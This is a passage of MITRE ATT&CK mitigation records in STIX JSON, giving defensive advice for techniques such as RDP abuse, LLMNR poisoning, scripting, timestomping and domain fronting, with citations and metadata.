2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:19.753Z","name":"Indicator Removal from Tools Mitigation","description":"Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1156","external_id":"T1156"}],"modified":"2019-07-24T14:02:53.251Z","name":".bash_profile and .bashrc Mitigation","description":"Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1216","external_id":"T1216"}],"modified":"2019-07-25T11:45:01.486Z","name":"Signed Script Proxy Execution Mitigation","description":"Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1104","external_id":"T1104"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:14:24.192Z","name":"Multi-Stage Channels Mitigation","description":"Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1008","external_id":"T1008"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T19:28:35.941Z","name":"Fallback Channels Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1113","url":"https://attack.mitre.org/mitigations/T1113","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.643Z","name":"Screen Capture Mitigation","description":"Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1153","external_id":"T1153"}],"modified":"2019-07-25T11:45:45.651Z","name":"Source Mitigation","description":"Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1076","external_id":"T1076"},{"url":"https://security.berkeley.edu/node/94","description":"Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.","source_name":"Berkley Secure"},{"url":"https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx","description":"Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.","source_name":"Windows RDP Sessions"}],"modified":"2019-07-25T11:33:10.069Z","name":"Remote Desktop Protocol Mitigation","description":"Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1171","external_id":"T1171"},{"source_name":"ADSecurity Windows Secure Baseline","description":"Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.","url":"https://adsecurity.org/?p=3299"},{"source_name":"byt3bl33d3r NTLM Relaying","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."},{"source_name":"Secure Ideas SMB Relay","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."},{"description":"Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.","url":"https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)","source_name":"Microsoft SMB Packet Signing"}],"modified":"2019-07-24T19:46:41.947Z","name":"LLMNR/NBT-NS Poisoning Mitigation","description":"Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1204","external_id":"T1204"}],"modified":"2019-07-25T12:31:53.804Z","name":"User Execution Mitigation","description":"Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1200","external_id":"T1200"},{"url":"https://en.wikipedia.org/wiki/IEEE_802.1X","description":"Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.","source_name":"Wikipedia 802.1x"}],"modified":"2019-07-24T19:35:08.161Z","name":"Hardware Additions Mitigation","description":"Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1142","external_id":"T1142"}],"modified":"2019-07-24T19:45:38.627Z","name":"Keychain Mitigation","description":"The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1064","external_id":"T1064"},{"url":"https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/","description":"Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.","source_name":"Microsoft Block Office Macros"},{"source_name":"Ars Technica Pwn2Own 2017 VM Escape","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"}],"modified":"2019-07-25T11:40:52.342Z","name":"Scripting Mitigation","description":"Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","type":"course-of-action","created":"2019-06-11T17:01:25.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1045","url":"https://attack.mitre.org/mitigations/M1045"}],"modified":"2020-05-20T13:12:02.881Z","name":"Code Signing","description":"Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1099","url":"https://attack.mitre.org/mitigations/T1099","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.250Z","name":"Timestomp Mitigation","description":"Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1087","url":"https://attack.mitre.org/mitigations/T1087","source_name":"mitre-attack"},{"url":"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077","description":"UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.","source_name":"UCF STIG Elevation Account Enumeration"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:18.116Z","name":"Account Discovery Mitigation","description":"Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b","type":"course-of-action","created":"2019-04-08T17:51:41.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1491","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1491"},{"description":"OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.","url":"https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/","source_name":"OWASP Top 10 2017"}],"modified":"2020-07-14T22:23:56.026Z","name":"Defacement Mitigation","description":"Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6","type":"course-of-action","created":"2019-06-11T16:40:14.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1039","url":"https://attack.mitre.org/mitigations/M1039"}],"modified":"2019-06-11T16:40:14.543Z","name":"Environment Variable Permissions","description":"Prevent modification of environment variables by unauthorized users and groups.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--61d02387-351a-453e-a575-160a9abc3e04","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1164","external_id":"T1164"},{"url":"https://support.apple.com/en-us/HT204005","description":"Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.","source_name":"Re-Open windows on Mac"}],"modified":"2019-07-25T11:30:18.799Z","name":"Re-opened Applications Mitigation","description":"Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1128","url":"https://attack.mitre.org/mitigations/T1128","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.652Z","name":"Netsh Helper DLL Mitigation","description":"Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1172","external_id":"T1172"},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html","description":"Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.","source_name":"FireEye APT29 Domain Fronting With TOR March 2017"},{"url":"http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.","source_name":"Mandiant No Easy Breach"}],"modified":"2019-07-24T19:12:36.946Z","name":"Domain Fronting Mitigation","description":"If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","type":"course-of-action","created":"2021-08-04T21:22:11.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1057","url":"https://attack.mitre.org/mitigations/M1057"},{"source_name":"PurpleSec Data Loss Prevention","url":"https://purplesec.us/data-loss-prevention/","description":"Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021."}],"modified":"2021-08-30T15:00:10.680Z","name":"Data Loss Prevention","description":"Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss 